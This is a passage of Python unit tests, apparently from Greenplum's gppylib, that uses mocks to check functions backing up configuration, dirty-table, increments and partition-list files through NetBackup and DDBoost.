netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_07(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_08(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_09(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_10(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = None
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
mock_segs = [Mock(), Mock()]
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_11(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = "/data"
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
seg.getSegmentHostName.return_value = "sdw"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_master_config_filename')
@patch('gppylib.operations.dump.generate_segment_config_filename')
@patch('gppylib.operations.dump.GpArray.initFromCatalog')
@patch('gppylib.operations.dump.GpArray.getDbList')
def test_backup_config_files_with_nbu_12(self, mock1, mock2, mock3, mock4, mock5):
master_datadir = None
backup_dir = "/datadomain"
master_port = "5432"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = "foo"
mock_segs = [Mock(), Mock()]
timestamp_key = "20140014000000"
mock_segs = [Mock(), Mock()]
for id, seg in enumerate(mock_segs):
seg.isSegmentPrimary.return_value = True
seg.getSegmentDbId.return_value = id + 1
seg.getSegmentDataDirectory.return_value = "/data"
backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.generate_schema_filename', result='foo_schema')
@patch('gppylib.operations.dump.copy_file_to_dd')
def backup_schema_file_with_ddboost_00(self, mock1, mock2):
master_datadir = '/data'
backup_dir = None
dump_dir = 'backup/DCA-35'
backup_schema_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix)
@patch('gppylib.operations.dump.generate_report_filename', result='foo.rpt')
@patch('gppylib.operations.dump.copy_file_to_dd')
def test_backup_report_file_with_ddboost_00(self, mock1, mock2):
master_datadir = '/data'
backup_dir = None
dump_dir = 'backup/DCA-35'
backup_report_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix)
@patch('gppylib.operations.dump.generate_increments_filename', result='foo.increments')
@patch('gppylib.operations.dump.copy_file_to_dd')
def test_backup_increments_file_with_ddboost_00(self, mock1, mock2):
master_datadir = '/data'
backup_dir = None
dump_dir = 'backup/DCA-35'
backup_increments_file_with_ddboost(master_datadir, backup_dir, dump_dir, self.dumper.dump_prefix, full_timestamp='20140101')
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_dirtytable_filename')
def test_backup_dirty_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_dirty_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_dirty_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_dirtytable_filename')
def test_backup_increments_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_increments_file_with_nbu_12(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
full_timestamp = "20130101000000"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = "foo"
backup_increments_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, full_timestamp, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_dirtytable_filename')
def test_backup_partition_list_file_with_nbu_00(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_01(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_02(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_03(self, mock1, mock2):
master_datadir = None
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = None
with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'):
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_04(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_05(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_06(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_07(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = None
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_08(self, mock1, mock2):
master_datadir = None
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = None
netbackup_keyword = None
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_09(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_10(self, mock1, mock2):
master_datadir = "/data"
backup_dir = None
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
netbackup_block_size = 100
netbackup_keyword = "foo"
backup_partition_list_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword)
@patch('gppylib.operations.dump.backup_file_with_nbu')
@patch('gppylib.operations.dump.generate_cdatabase_filename')
def test_backup_partition_list_file_with_nbu_11(self, mock1, mock2):
master_datadir = "/data"
backup_dir = "/tmp"
netbackup_service_host = "mdw"
netbackup_policy = "test_policy"
netbackup_schedule = "test_schedule"
timestamp_key = "20140014000000"
netbackup_block_size = 100
